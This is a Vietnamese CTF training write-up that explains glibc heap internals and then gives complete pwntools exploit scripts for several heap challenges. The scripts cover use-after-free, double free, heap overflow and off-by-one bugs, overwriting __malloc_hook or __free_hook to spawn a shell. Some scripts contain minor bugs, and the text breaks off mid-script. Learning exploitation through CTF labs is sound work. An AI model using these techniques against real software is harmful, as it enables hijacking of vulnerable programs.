## Training KCSC 2024 ### Task 3: Tìm hiểu về heap ##### Heap là gì? - Heap là vùng nhớ được khởi tạo động bởi các hàm **malloc**, **calloc**,... nghĩa là nó có thể khởi tạo với bộ nhớ chưa biết trước. > Với các phiên bản libc khác nhau, ta có các cách khai thác khác nhau. Lấy ví dụ như **tcache**, nó được giới thiệu ở phiên bản libc 2.26. Vì vậy khi khai thác heap, ta phải đảm bảo phiên bản libc đúng với challenge mà ta đang khai thác. - Hãy thử code một đoạn code C đơn giản để xem cấu trúc của heap như nào: ```p #include <stdio.h> #include <stdlib.h> #include <string.h> void main(void) { char *ptr; ptr = malloc(0x20); strcpy(ptr, "moi"); } ``` - Đặt breakpoint ngay sau hàm **malloc**: ![Ảnh chụp màn hình 2024-10-24 141118](https://hackmd.io/_uploads/HJLuVuwgye.png) - Ta có thể thấy thanh ghi `rax` đang chứa con trỏ trỏ đến ngay heap mà ta vừa tạo. Hàm **malloc** ta vừa khai báo chỉ có **0x20 byte** nhưng tại sao chunk ở đây lại có tận **0x30 byte**?? Đó là vì khi ta dùng **malloc** khai báo 1 chunk, nó sẽ luôn có 1 thứ gọi là `Heap header (hoặc là metadata)`. Nó sẽ luôn chiếm **0x10 byte** đối với **x64** (**0x8** byte đối với **x32**). Hãy thử xem lúc này chunk đang có trạng thái như thế nào: ![image](https://hackmd.io/_uploads/HynHfGdeJe.png) - Ta có thể thấy lúc này trước con trỏ của chunk biểu diễn 2 loại thông tin: `previous size` và `size`. Sở dĩ `size` hiện tại là **0x21 byte** là vì ta khai báo 0x10 byte + 0x10 byte của `heap header` + 0x1 byte để thể hiện răngf chunk trước nó đang được sử dụng - Ở ngay con trỏ là content của chunk. Lúc trước ta đã thêm từ `moi` vào ngay chunk nên chuỗi `0x0000000000696f6d` chính là từ `moi` ### Bin - Khi chúng ta dùng lệnh `free` để free 1 chunk, chương trình sẽ đưa nó vào 1 danh sách bin. Điều này sẽ giúp lần `malloc` sau diễn ra nhanh hơn và cải thiện hiệu suất chương trình #### Fast bins - `Fast bins` chứa vô số ngăn xếp có kích thước từ **0x10-0x70**. Mỗi lần free 1 chunk có kích thước bằng với 1 ngăn xếp trong `Fast bin`, chương trình sẽ đưa chunk đó vào ngăn xếp trong `Fast bin` để lần sau khi cần sử dụng lại, chương trình chỉ cẩn lấy địa chỉ trả về là có thể sử dụng lại chunk đó ```py ────────────────────── Fastbins for arena 0x7ffff7dd1b20 ────────────────────── Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE) Fastbins[idx=1, size=0x20] ← Chunk(addr=0x602050, size=0x30, flags=PREV_INUSE) Fastbins[idx=2, size=0x30] ← Chunk(addr=0x602080, size=0x40, flags=PREV_INUSE) Fastbins[idx=3, size=0x40] ← Chunk(addr=0x6020c0, size=0x50, flags=PREV_INUSE) Fastbins[idx=4, size=0x50] ← Chunk(addr=0x602110, size=0x60, flags=PREV_INUSE) Fastbins[idx=5, size=0x60] ← Chunk(addr=0x602170, size=0x70, flags=PREV_INUSE) Fastbins[idx=6, size=0x70] ← Chunk(addr=0x6021e0, size=0x80, flags=PREV_INUSE) ``` #### Tcache - `Tcache` được giới thiệu lần đầu ở libc `2.26`. Về cơ bản nó giống `Fast bin`, nhưng 2 cái có một số điểm khác biệt. `Tcache` chứa 7 chunk và có kích thước từ **0x10-0x400**, mỗi thread riêng biệt của Tcache có thể chứa chunk có kích thước bất kì từ **0x10-0x400** (không như `Fast bins` chỉ có thể chứa chunk với kích thước cố định). Khi chương trình free 1 chunk, nó sẽ ưu tiên đưa vào `Tcache` đến khi không còn thread nào nữa thì sẽ đẩy xuống `Fast bins`, `unsorted bin`, ... - Để hiểu rõ hơn hãy viết một đoạn mã C: ```p #include <stdlib.h> #include <stdio.h> int main() { void *chunks[8]; for (int i = 0; i < 8; i++) { chunks[i] = malloc(0x10); } for (int i = 0; i < 8; i++) { free(chunks[i]); } return 0; } ``` ![image](https://hackmd.io/_uploads/SJEUi6ulye.png) - Ta có thể thấy vì `Tcache` đã đầy nên lần free tiếp theo chương trình đã đẩy chunk xuống `Fast Bins` #### Unsorted, Large and Small Bins - Là nơi chứa các chunk sau khi free có size lớn hơn 0x400 hoặc khi mà `tcache` đã đầy và lớn hơn 0x70 - Về cơ bản, chúng giống nhau. Khi 1 chunk thỏa mãn 1 trong 2 điều kiện trên được free, chunk sẽ được đưa vào `Unsorted bin` đầu tiên. Hãy viết đoạn code để xem chunk được đưa vào `Unsorted bin` như nào: ```p #include <stdio.h> #include <stdlib.h> void main(void) { char *p=malloc(0x600); char *q=malloc(0x600); char *r=malloc(0x10); //tranh consolidation free(p); free(q); } ``` ![image](https://hackmd.io/_uploads/BkMFV7Kg1g.png) > Ta có thấy chunk được khai báo có khích thước `size=0xc20 (0x600*2)` trong khi ta khai báo 2 lần `0x600`. Điều này xảy ra là do con solidation (sự gộp chunk). - Khi chunk được free và được đưa vào `Unsorted bin`, nếu ta muốn malloc thêm một lần nữa, chương trình sẽ muốn lấy ra từ `Unsorted bin` chunk mà ta đã free trước đó. Lúc này có 2 trường hợp xảy ra: Chunk trước đó đủ size để ta malloc lại lần này: ```p #include <stdio.h> #include <stdlib.h> void main(void) { char *p=malloc(0x600); char *a=malloc(0x10); //tranh gop chunk free(p); char *q=malloc(0x400); free(q); } ``` ![image](https://hackmd.io/_uploads/SyPbuQYlkx.png) - Sau lần free thứ nhất, `Unsorted bin` có chunk với size 0x600 đã free trước đó. Thử xem lần malloc tiếp theo: ![image](https://hackmd.io/_uploads/rk8nvXFxye.png) - Chương trình đã lấy 0x400 byte mà ta cần để malloc từ `Unsorted bin` để sử dụng, do đó chunk trong `Unsorted bin` chỉ còn 0x200 byte Nếu chunk trước đó không đủ size để ta malloc lại thì sao: ```p #include <stdio.h> #include <stdlib.h> void main(void) { char *p=malloc(0x600); char *a=malloc(0x10); //tranh gop chunk free(p); char *q=malloc(0x800); free(q); } ``` ![image](https://hackmd.io/_uploads/SJpRuXtxJx.png) > Trước khi malloc lần 2, lúc này `Unsorted bin` đang có 1 chunk với kích thước 0x600 byte ![image](https://hackmd.io/_uploads/HyPWY7Yxyl.png) - Sau khi malloc lần 2, vì lần này yêu cầu kích thước lớn hơn nên chương trình lấy trong `top chunk` (sẽ giải thích ở sau) ra để malloc. Còn chunk trong `Unsorted bin` sẽ được phân loại để đưa vào `Small Bins` (nếu chunk có size < 0x400) hoặc `Large Bins` (nếu chunk có size > 0x400), ở trường hợp này là `Large Bins` #### Consolidation - Consolidation diễn ra là để hợp nhất các chunk đã được free liền kề nhau thành một khối lớn hơn. Điều này làm giảm sự lãng phí của các chunk đã được free vì nếu gộp lại thì các làna malloc lớn tiếp theo nó sec được sử dụng. #### Top Chunk - Đây là vùng bộ nhớ dùng để khởi tạo malloc. Khi chương trình khởi tạo hàm malloc, nó sẽ kiểm tra xem có thể lấy từ `Bin` nào hay không. Nếu không, vùng nhớ sẽ được lấy ra từ`Top Chunks` #### Main Area - Là cấu trúc dữ liệu để quản lí bộ nhớ. Nơi đây chứa các con trỏ của các danh sách bin: ```p gef➤ heap bins [+] No Tcache in this version of libc ────────────────────── Fastbins for arena 0x7ffff7dd1b20 ────────────────────── Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) Fastbins[idx=1, size=0x20] 0x00 Fastbins[idx=2, size=0x30] 0x00 Fastbins[idx=3, size=0x40] 0x00 Fastbins[idx=4, size=0x50] 0x00 Fastbins[idx=5, size=0x60] 0x00 Fastbins[idx=6, size=0x70] 0x00 ───────────────────── Unsorted Bin for arena 'main_arena' ───────────────────── [+] Found 0 chunks in unsorted bin. ────────────────────── Small Bins for arena 'main_arena' ────────────────────── [+] Found 0 chunks in 0 small non-empty bins. ────────────────────── Large Bins for arena 'main_arena' ────────────────────── [+] Found 0 chunks in 0 large non-empty bins. gef➤ x/20g 0x7ffff7dd1b20 0x7ffff7dd1b20 <main_arena>: 0x0 0x602000 0x7ffff7dd1b30 <main_arena+16>: 0x0 0x0 0x7ffff7dd1b40 <main_arena+32>: 0x0 0x0 0x7ffff7dd1b50 <main_arena+48>: 0x0 0x0 0x7ffff7dd1b60 <main_arena+64>: 0x0 0x0 0x7ffff7dd1b70 <main_arena+80>: 0x0 0x602120 0x7ffff7dd1b80 <main_arena+96>: 0x0 0x7ffff7dd1b78 0x7ffff7dd1b90 <main_arena+112>: 0x7ffff7dd1b78 0x7ffff7dd1b88 0x7ffff7dd1ba0 <main_arena+128>: 0x7ffff7dd1b88 0x7ffff7dd1b98 0x7ffff7dd1bb0 <main_arena+144>: 0x7ffff7dd1b98 0x7ffff7dd1ba8 ``` ### Heap Exploitation #### Bài 1: - Check qua ida: ![image](https://hackmd.io/_uploads/SyZ-QwCg1x.png) - Mình đã rename qua một số hàm. Bài chỉ có `create`, `delete` và một hàm `check_win`. - Trong hàm `create` ta nhập vào độ dài và nội dung rồi sau đó chương trình sẽ sử dụng malloc để lưu trữ giá trị ta đã nhập vào: ![image](https://hackmd.io/_uploads/HJCAQPCxkx.png) - Hàm `Delete` sẽ free chunk ta nhập vào: ![image](https://hackmd.io/_uploads/Sk23dPAxke.png) - Hàm `Check_win` sẽ kiểm tra giá trị của `qword_6020F0` có khác 0 hay không và giá trị ở `qword_6020F0 + 8` có bằng `0xABCDEF` hay không ![image](https://hackmd.io/_uploads/ByiGtvReyx.png) - Vậy ta sẽ phải ghi đè `qword_6020F0` và `qword_6020F0 + 8` sao cho thỏa mãn điều để exploit. Vậy ý tưởng ở đây là gì? Ta có thể malloc 1 chunk với 8 byte đầu bất kỳ và 8 byte sau có giá trị `0xABCDEF`. Sau đó `free` nó và gọi lại hàm đấy một lần nữa. Khi ta gọi lại chunk trong bin đã được `free` trước đó, giá trị ở `qword_6020F0` và `qword_6020F0 + 8` sẽ bị ghi đè. Điều đó xảy ra là vì khi chương trình `free` 1 chunk, nó sẽ không xóa luôn data trong chunk đó mà thay vào đó nó sẽ ghi đè vào lần kế tiếp ta gọi lại. Nhưng vấn đề là, làm cách nào để ta biết nên `free` lại và `malloc` lại lúc nào để nó ghi đè chính xác biến `qword_6020F0`? Hãy nhìn vào vị trí `qword_6020F0`: ![image](https://hackmd.io/_uploads/SytpzYRl1e.png) - Nó đang ở vị trí `0x00000000006020F0` cách ptr 16 byte. Để ý hàm `create`: ```python size_4 = (void **)malloc(0x10uLL); *size_4 = malloc(size); *(&ptr + i) = size_4; ``` - Đầu tiên `size 4` sẽ `malloc(0x10)` dùng con trỏ cấp 2. Mà ở dưới chương trình gắn `*(&ptr + i) = size_4;` nghĩa là ở vị trí `ptr + i` thì nếu data trong malloc thay đổi thì `ptr + i` cũng thay đổi. Vậy tại vị trí `ptr + 2` là vị trí mà ta cần ghi đè. Do đó ta cần tạo 1 chunk có kích thước nhỏ hơn 0x20 để sau khi `free`, nếu ta `create` một lần nữa thì chương trình sẽ lấy chunk đó để malloc cho chunk 0x10 byte thứ nhất. - Final script: ```py #!/usr/bin/env python3 from pwn import * exe = ELF("./pwn1_ff_patched",checksec=False) libc = ELF("./libc.2.23.so",checksec=False) ld = ELF("./ld-2.23.so",checksec=False) context.binary = exe p=process(exe.path) gdb.attach(p, gdbscript=''' b*0x0000000000400C24 b*0x0000000000400B65 c ''') #pad lan 1 p.sendafter(b">", b"1") p.sendafter(b"Input size:", b'120') p.sendafter(b"Input data", b"a") #pad lan 2 p.sendafter(b">", b"1") p.sendafter(b"Input size:", b'120') p.sendafter(b"Input data", b"a") #tao heap de free sau nay p.sendafter(b">", b"1") p.sendafter(b"Input size:", b'24') p.sendafter(b"Input data", p64(0x12345678)+p64(0xABCDEF)) #free heap p.sendafter(b">", b"2") p.sendafter(b"Input index:", b"2") #tao heap de ghi de p.sendafter(b">", b"1") p.sendafter(b"Input size:", b'120') p.sendafter(b"Input data", b"a") p.sendafter(b">", b"4") p.interactive() ``` - Test trên local: ![image](https://hackmd.io/_uploads/HJNQLYRekl.png) #### Bài 2 - Check qua hàm `main`: ![image](https://hackmd.io/_uploads/Hya7lRBbJe.png) - Bài có 4 hàm cơ bản là `createHeap`, `showHeap`, `editHeap`, `deleteHeap`. Lỗi nằm ở hàm `deleteHeap` khi hàm này không xóa con trỏ sau khi đã `free`: ![image](https://hackmd.io/_uploads/BJQ9g0HW1l.png) - Điều này khiến chương trình gặp lỗi `double free` và `use-after-free`. Vậy ta sẽ `leak libc base`, overwrite `__malloc_hook` thành` one_gadget`. ##### Leak libc - Để leak libc ta phải tấn công vào `unsorted_bin`. Đầu tiên ta sẽ gọi và free một chunk để nó vào `unsorted_bin`. Lúc này bởi vì con trỏ vẫn tồn tại, nếu ta dùng lệnh `showHeap` thì chương trình sẽ in ra địa chỉ của `main_arena`. Từ địa chỉ này ta có thể dùng để tính toán `libc_base` - Code: ```p from pwn import * exe = ELF("./pwn2_df_patched",checksec=False) libc = ELF("./libc.2.23.so",checksec=False) ld = ELF("./ld-2.23.so",checksec=False) context.binary = exe p=process(exe.path) gdb.attach(p, gdbscript=''' b*deleteHeap+123 b*createHeap+245 c ''') def create(index,size,data): p.sendlineafter(b">", b"1") p.sendlineafter(b"Index:", str(index)) p.sendlineafter(b"nput size:", str(size)) p.sendafter(b"Input data:", data) def show(index): p.sendlineafter(b">", b"2") p.sendlineafter(b'ndex:', str(index)) def delete(index): p.sendlineafter(b">", b"4") p.sendlineafter(b'ndex:', str(index)) create(0,0x120,b'heap0') #chunk đưa vào unsorted bin để leak libc create(1,0x66,b'heap1') #chunk tao double free de ghi de malloc_hook create(2,0x66,b'heap2') #tranh gop chunk create(3,0x66,b'heap3') delete(0) show(0) #use_after_free p.recvuntil(b'Data = ') libc_leak= u64(p.recv(6)+b'\0\0') base=libc_leak-0x39bb78 log.info('libc leak: ' +hex(libc_leak)) log.info('libc base: ' +hex(base)) ``` ##### Overwrite __malloc_hook - Sau khi đã leak được libc, ta cần tạo một chunk giả truyền địa chỉ của `__malloc_hook` vào để ghi đè sau này và free nó. Tiếp đó sử dụng lỗi `double free` để đưa chunk mà ta vừa tạo vào `fast bin` 2 lần. Điều này sẽ khiến cho nếu ta sử dụng lại `fake chunk` lần 2 thì ta sẽ có khả năng ghi đè vào địa chỉ của `malloc_hook`. Bởi vì argument của malloc là size, ta phải tạo `fake_chunk` ở 1 vị trí có size 'trông có vẻ hợp lệ': ![image](https://hackmd.io/_uploads/ByI_WGU-Je.png) - Ở vị trí `__malloc_hook - 0x23`, nếu ta gọi malloc tại vị trí này, nó sẽ coi `0x77` là 1 size hợp lệ. Tại `fake_chunk` mà ta đã tạo, 16 byte đầu là `metadata`, sau đó là `data`. Ta phải pad đủ 19 byte từ chỗ đấy đến `__malloc_hook` để nó ghi đè chính xác `__malloc_hook` thành `one_gadget` ![image](https://hackmd.io/_uploads/rJkYWGIZ1g.png) - Trong lúc thực hiện exploit, lúc gọi malloc để `__malloc_hook` gọi `one_gadget`, điều kiện lúc đó sẽ không thỏa mãn. Tình cờ mình đọc được [ở đây](https://blog.osiris.cyber.nyu.edu/2017/09/30/csaw-ctf-2017-auir/) khi gọi `free` 2 lần khiến chương trình gặp lỗi `double free`, nó sẽ gọi `malloc` trước lúc chương trình thực sự thoát ra. Trùng hợp lúc đấy các điều kiện của `one_gadget` sẽ thỏa mãn vì vậy ta sẽ có thể exploit thành công ![image](https://hackmd.io/_uploads/ryPEfGUW1x.png) - Final script: ```p #!/usr/bin/env python3 from pwn import * exe = ELF("./pwn2_df_patched",checksec=False) libc = ELF("./libc.2.23.so",checksec=False) ld = ELF("./ld-2.23.so",checksec=False) context.binary = exe p=process(exe.path) gdb.attach(p, gdbscript=''' b*deleteHeap+123 b*createHeap+245 c ''') def create(index,size,data): p.sendlineafter(b">", b"1") p.sendlineafter(b"Index:", str(index)) p.sendlineafter(b"nput size:", str(size)) p.sendafter(b"Input data:", data) def show(index): p.sendlineafter(b">", b"2") p.sendlineafter(b'ndex:', str(index)) def delete(index): p.sendlineafter(b">", b"4") p.sendlineafter(b'ndex:', str(index)) create(0,0x120,b'heap0') #chunk đưa vào unsorted bin để leak libc create(1,0x66,b'heap1') #chunk tao double free de ghi de malloc_hook create(2,0x66,b'heap2') #tranh gop chunk create(3,0x66,b'heap3') delete(0) show(0) #use_after_free p.recvuntil(b'Data = ') libc_leak= u64(p.recv(6)+b'\0\0') base=libc_leak-0x39bb78 fake_base=base + 0x39baed log.info('libc leak: ' +hex(libc_leak)) log.info('libc base: ' +hex(base)) log.info('libc fake: ' +hex(fake)) hook=base+libc.sym['__malloc_hook'] one_gadget=base+0xd5bf7 log.info('hook: ' +hex(hook)) log.info('one_gadget: ' +hex(system)) delete(1) #double free delete(3) delete(1) create(4,0x68,p64(fake_base)) create(5,0x68,b'heap5') create(6,0x68,b'heap6') create(7,0x68,b'\x00'*0x13+p64(one_gadget)) p.interactive() ``` #### Bài 4 - Check qua ida ta thấy mọi thứ đều bình thường trừ hàm `edit`: ![image](https://hackmd.io/_uploads/rkJi2qUWyg.png) - Chương trình sẽ cho ta nhập vào `size` mới để ghi lại chunk đó nhưng không `malloc` lại -> lỗi `heap overflow` ##### Leak libc - Bởi vì ta có lỗi `heap overflow`, ta sẽ ghi đè bằng cách sau: tạo 3 chunk bất kì. Ta sửa `chunk 0` để ghi đè `size` của `chunk 1` sao cho `size` của `chunk 0` chứa cả `metadata` và `data` của `chunk 1`. `Free` `chunk 0`, lúc này chương trình sẽ đưa cả `chunk 0` và `chunk 1` vào `bin`. Lúc này nếu ta gọi lại `chunk 0` với `size` bằng `size` ban đầu, `chunk 2` sẽ tồn tại cả trong `chunk đang dùng` và `bin`: ![Ảnh chụp màn hình 2024-11-05 022129](https://hackmd.io/_uploads/rybkksIbJx.png) - Lúc này trong `chunk` có con trỏ của `main_arena` nên ta hoàn toàn có thể leak libc: ![image](https://hackmd.io/_uploads/Syp5yj8-Je.png) - Script: ```p from pwn import * context.binary=exe=ELF('./pwn4_ul_patched') libc=ELF('./libc.2.23.so') def GDB(): gdb.attach(p,gdbscript=''' c ''') input() p=process(exe.path) GDB() def create(index,size,data): p.sendlineafter(b'>',b'1') p.sendlineafter(b':',f'{index}'.encode()) p.sendlineafter(b':',f'{size}'.encode()) p.sendlineafter(b':',data) def show(index): p.sendlineafter(b':',b'2') p.sendlineafter(b':',f'{index}'.encode()) def delete(index): p.sendlineafter(b':',b'4') p.sendlineafter(b':',f'{index}'.encode()) def edit(index,size,data): p.sendlineafter(b':',b'3') p.sendlineafter(b':',f'{index}'.encode()) p.sendlineafter(b':',f'{size}'.encode()) p.sendlineafter(b':',b'y') p.sendafter(b':',data) create(0,0x20,b'a') create(1,0x20,b'a') create(2,0x500,b'a') create(3,0x500,b'a') edit(0,0x30,b'\00'*0x28+p64(0x541)) delete(1) create(1,0x20,b'a') show(2) ``` ##### Overwrite `__malloc_hook` - Tương tự bài trước, ta sẽ ghi đè `__malloc_hook` thành `one_gadget` sau đó gọi `malloc`. - Vậy bài này ta sẽ ghi đè `__malloc_hook` như thế nào? Tương tự như bài trước ta sẽ ghi đè `bk` của chunk trong `Fastbins` để lần sau khi `malloc`, nó sẽ `malloc` về địa chỉ của `bk`, từ đó ghi đè. Để làm được điều này, ta cần `free` 1 chunk. Sau đó từ `chunk` trước đó, ta ghi đè `bk` của `chunk` đó thành địa chỉ mà ta cần malloc, từ đó hoàn thành bài này. `Offset` của bài này giống với bài trước nên mình không viết nữa nhé! ![image](https://hackmd.io/_uploads/BkUSMiUWJl.png) - Final script: ```p from pwn import * context.binary=exe=ELF('./pwn4_ul_patched') libc=ELF('./libc.2.23.so') def GDB(): gdb.attach(p,gdbscript=''' c ''') input() p=process(exe.path) GDB() def create(index,size,data): p.sendlineafter(b'>',b'1') p.sendlineafter(b':',f'{index}'.encode()) p.sendlineafter(b':',f'{size}'.encode()) p.sendlineafter(b':',data) def show(index): p.sendlineafter(b':',b'2') p.sendlineafter(b':',f'{index}'.encode()) def delete(index): p.sendlineafter(b':',b'4') p.sendlineafter(b':',f'{index}'.encode()) def edit(index,size,data): p.sendlineafter(b':',b'3') p.sendlineafter(b':',f'{index}'.encode()) p.sendlineafter(b':',f'{size}'.encode()) p.sendlineafter(b':',b'y') p.sendafter(b':',data) create(0,0x20,b'a') #chunk 0 để ghi đè chunk 1 create(1,0x20,b'a') #đưa cả chunk 2 vào bin create(2,0x500,b'a') create(3,0x500,b'a') #tránh gộp chunk edit(0,0x30,b'\00'*0x28+p64(0x541)) #ghi đè size của chunk 1 delete(1) #đưa cả chunk 2 vào bin create(1,0x20,b'a') #làm chunk 2 xuất hiện trong bin show(2) #leak libc p.recvuntil(b'Data = ') libc_leak=u64(p.recv(6)+b'\0\0') libc_base=libc_leak-0x39bb78 hook=libc_base+0x39baed one_gadget=libc_base+0xd5bf7 log.info('libc leak: '+hex(libc_leak)) log.info('libc base: '+hex(libc_base)) log.info('hook: '+hex(hook)) log.info('one_gadget: '+hex(one_gadget)) create(4,0x500,b'4') create(5,0x30,b'5') create(6,0x60,b'6') delete(6) #đưa chunk 6 vào bin edit(5,0x60,b'a'*0x38+p64(0x71)+p64(hook)) #ghi đè chunk 6 create(8,0x60,b'8') #làm fake_chunk xuất hiện create(9,0x68,b'a'*19+p64(one_gadget)) #ghi đè __malloc_hook create(7,0x10,b'a') p.interactive() ``` #### Bài 5 - Check qua ida mọi thứ đều bình thường, các lỗi ở trên đã được fix nhưng ở hàm create ta thấy hiện tượng lạ :))) ![image](https://hackmd.io/_uploads/S1b3w0n-Jg.png) ![image](https://hackmd.io/_uploads/rkWSs0n-1g.png) - Hàm đọc tối đa `a2` nghiệm vào `a1`. Nhưng ở cuối chuỗi chương trình sẽ set `\00` cho đoạn ta vừa nhập vào -> `off-byte-one`. Thử kiểm nghiệm xem có đúng như vậy không bằng cách tạo 3 chunk, free chunk 1 tạo lại để thử ghi đè vào `PREV_INUSE` của chunk 2 (chunk được ghi đè phải có size >= `0x100` bởi vì nếu ta để size bé hơn khi ghi đè size sẽ trở thành `0x00` gây ra lỗi): ![image](https://hackmd.io/_uploads/SJfJh0h-1e.png) - Ta có thể thấy chunk 1 chưa được free nhưng `PREV_INUSE` của chunk 2 được set thành 0. -Tạo 3 chunk, free chunk 1 để malloc lại ghi đè vào chunk 2 -Tạo lại chunk 1 với kích thước như cũ để ghi đè chunk 2 (ghi đè `PREV_SIZE` bằng với cả 2 chunk trên và ghi đè `PREV_INUSE` thành 0) -Lúc này `PREV_SIZE` của chunk 2 đã thành kích thước của 2 chunk trên và `PREV_INUSE` của chunk 2 bằng 0 -Free chunk 2 để đưa cả 3 chunk vào bin. Lúc này cấu trúc chunk sẽ như thế này: ![image](https://hackmd.io/_uploads/HkN6yyaZJe.png) - Lúc này chunk 0 được cho là 1 chunk với size `0x270` đã được đưa vào `unsorted bin`. Nếu ta tạo lại chunk 0 với kích thước như cũ thì chương trình sẽ lại coi chunk 1 là một chunk với size `0x170` đã được đưa vào `unsorted bin`: ![image](https://hackmd.io/_uploads/BkKilJp-kx.png) Với hàm `showHeap` ta sẽ dễ dàng leak libc: ![image](https://hackmd.io/_uploads/ByGGZJaZkl.png) - Sau khi đã có libc, ta phải tìm cách ghi đè `__malloc_hook` tương tự như những bài trên. Vậy bài này phải làm như nào? 1. Tạo lại các chunk như trên, lúc này trong `unsorted bin` sẽ có chunk 0 (ví dụ) với size `0x270` ![image](https://hackmd.io/_uploads/BkcnPJTbyg.png) 2. Lúc này thực chất là chunk 0 - chunk 2 đang ở trong `unsorted bin`. Bời vì con trỏ của chunk 1 vẫn tồn tại, ta đưa chunk 1 vào `fast bin`. ![image](https://hackmd.io/_uploads/HyiaO1p-yl.png) 3. Như đã nói ở trên, chương trình đang coi chunk 0 là một chunk có size 0x270 trong `unsorted bin`. Lúc này ta chỉ cần gọi lại chunk 0 với size lớn hơn để ghi đè vào chunk 1, khiến chunk 1 lúc này trong `fast bin` có `bk` trỏ đến '__malloc_hook'. Lúc này gọi double free là mọi việc đã xong! ![image](https://hackmd.io/_uploads/SyZYtJTW1x.png) ![image](https://hackmd.io/_uploads/ryJhFy6WJe.png) - Final script: ```p from pwn import* context.binary=exe=ELF('./pwn5_null_patched',checksec=False) libc=ELF('./libc.2.23.so',checksec=False) p=process(exe.path) def GDB(): gdb.attach(p,gdbscript=''' c ''') def c(index,size,data): p.sendlineafter(b'>',b'1') p.sendlineafter(b':',f'{index}'.encode()) p.sendlineafter(b':',f'{size}'.encode()) p.sendafter(b':',data) def s(index): p.sendlineafter(b'>',b'2') p.sendlineafter(b':',f'{index}'.encode()) def d(index): p.sendlineafter(b'>',b'4') p.sendlineafter(b':',f'{index}'.encode()) def e(index,size,data): p.sendlineafter(b'>',b'3') p.sendlineafter(b':',f'{index}'.encode()) p.sendlineafter(b':',f'{size}'.encode()) p.sendlineafter(b'?',b'y') p.sendlineafter(b':',data) GDB() c(0,0xf8,b'a'*0xf8) c(1,0x68,b'b'*0x68) c(2,0xf8,b'c'*0xf8) c(3,0x10,b'3') d(1) #free để lần malloc sau goij lại ghi đè d(0) c(1,0x68,b'b'*0x60+p64(0x170)) #ghi đè chunk 2 d(2) #đưa cả 3 chunk vào bin c(0,0xf8,b'a'*0x10) #đưa con trỏ vào chunk 1 để leak s(1) #leak libc p.recvuntil(b'Data = ') leak=u64(p.recv(6)+b'\0\0') base=leak-0x39bb78 one=base+0xd5bf7 hook=base+0x39baed log.info('leak: ',hex(leak)) log.info('base: ',hex(base)) log.info('hook: ',hex(hook)) c(2,0x160,b'q') #clear bin c(4,0xf8,b'a'*0xf8) c(5,0x68,b'b'*0x18) c(6,0xf8,b'c'*0xf8) c(7,0x20,b'c'*0x10) d(5) #free để lần malloc sau goij lại ghi đè d(4) c(5,0x68,b'\00'*0x60+p64(0x170)) #ghi đè chunk 6 d(6) #đưa chunk 4,5,6 vào bin d(5) #đưa chunk 5 vào fast bin c(4,0x140,b'\00'*0xf0+p64(0)+p64(0x71)+p64(hook)) #ghi đè chunk 5 c(8,0x60,b'a') #gọi fake chunk c(9,0x60,b'm'*19+p64(one)) #ghi đè one_gadget d(1) #gọi double free p.interactive() ``` #### Bài 6 - Bài này lỗi giống `bài 2` chỉ khác chỗ bài này sử dụng `libc 2.28` ![image](https://hackmd.io/_uploads/r1c0jjw-kg.png) - Phiên bản libc này đã có `tcache` vì vậy ta phải làm cách khác. Ý tưởng của bài này sẽ là ta cần lấp đầy `tcache` do nó chỉ có thể chứa tối đa 7 chunk. Sau khi đã lấp đầy ta chỉ cần free chunk thứ 8 thì nó sẽ vào `unsorted bin`. Bởi vì có lỗi `use-after-free`, ta có thể leak được libc: ![image](https://hackmd.io/_uploads/HkKInsw-kl.png) - Script: ```p from pwn import * exe = ELF("./pwn6_hoo_patched",checksec=False) libc = ELF("./libc.2.28.so",checksec=False) ld = ELF("./ld-2.28.so",checksec=False) context.binary = exe p=process(exe.path) def GDB(): gdb.attach(p,gdbscript=''' c ''') GDB() def c(index,data): p.sendlineafter(b'>',b'1') p.sendlineafter(b':',f'{index}'.encode()) p.sendlineafter(b':',data) def s(index): p.sendlineafter(b'>',b'2') p.sendlineafter(b':',f'{index}'.encode()) def d(index): p.sendlineafter(b'>',b'4') p.sendlineafter(b':',f'{index}'.encode()) def e(index,data): p.sendlineafter(b'>',b'3') p.sendlineafter(b':',f'{index}'.encode()) p.send(data) for i in range(0,6): #lấp đầy tcache c(i,b'a') for i in range(0,6): d(i) d(1) d(0) #đưa chunk vào unsorted bin s(0) #leak libc p.recvuntil(b'Data = ') libc_leak=u64(p.recv(6)+b'\0\0') base=libc_leak-0x3b2ca0 free_hook=base+libc.sym['__free_hook'] system=base+libc.sym['system'] log.info('libc leak: ',hex(libc_leak)) log.info('libc base: ',hex(base)) log.info('libc : ',hex(system)) ``` - Tiếp theo ta phải tìm cách tạo shell. Đầu tiên mình cố ghi `one_gadget` vào `__malloc_hook` như các bài trước nhưng tiếc là bài này lại không được. Nếu vậy ta sẽ thử ghi `system` vào `__free_hook` rồi gọi `free (/bin/sh)` để get shell. Ảnh bin ở bên trên là trạng thái của `bin` lúc ta vừa leak libc. Bởi vì ta free `chunk 0` và `chunk 1` 2 lần nên thực ra trong `tcache` hiện tại đang có 7 chunk. Tiếp theo, ta `malloc` `chunk 7`, lúc này chương trình sẽ lấy ra chunk sau cùng của `tcache`. Nếu ta `free` `chunk 7` thêm 2 lần nữa, trong `tcache` lúc này sẽ có 2 chunk trên cùng sẽ xuất hiện 2 chunk giống nhau có `bk` tự trỏ về chính mình: ![image](https://hackmd.io/_uploads/rJ2rbhDbJx.png) - Lúc này ta gọi lại 1 chunk và ghi địa chỉ của `__free_hook` và thực hiện ghi đè `system`, sau đó `free(/bin/sh)` là ta sẽ tạo được shell: ![image](https://hackmd.io/_uploads/HkUaZ3D-Je.png) - Final script: ```p #!/usr/bin/env python3 from pwn import * exe = ELF("./pwn6_hoo_patched",checksec=False) libc = ELF("./libc.2.28.so",checksec=False) ld = ELF("./ld-2.28.so",checksec=False) context.binary = exe p=process(exe.path) def GDB(): gdb.attach(p,gdbscript=''' c ''') GDB() def c(index,data): p.sendlineafter(b'>',b'1') p.sendlineafter(b':',f'{index}'.encode()) p.sendlineafter(b':',data) def s(index): p.sendlineafter(b'>',b'2') p.sendlineafter(b':',f'{index}'.encode()) def d(index): p.sendlineafter(b'>',b'4') p.sendlineafter(b':',f'{index}'.encode()) def e(index,data): p.sendlineafter(b'>',b'3') p.sendlineafter(b':',f'{index}'.encode()) p.send(data) for i in range(0,6): #lấp đầy tcache c(i,b'a') for i in range(0,6): d(i) d(1) d(0) #đưa chunk vào unsorted bin s(0) #leak libc p.recvuntil(b'Data = ') 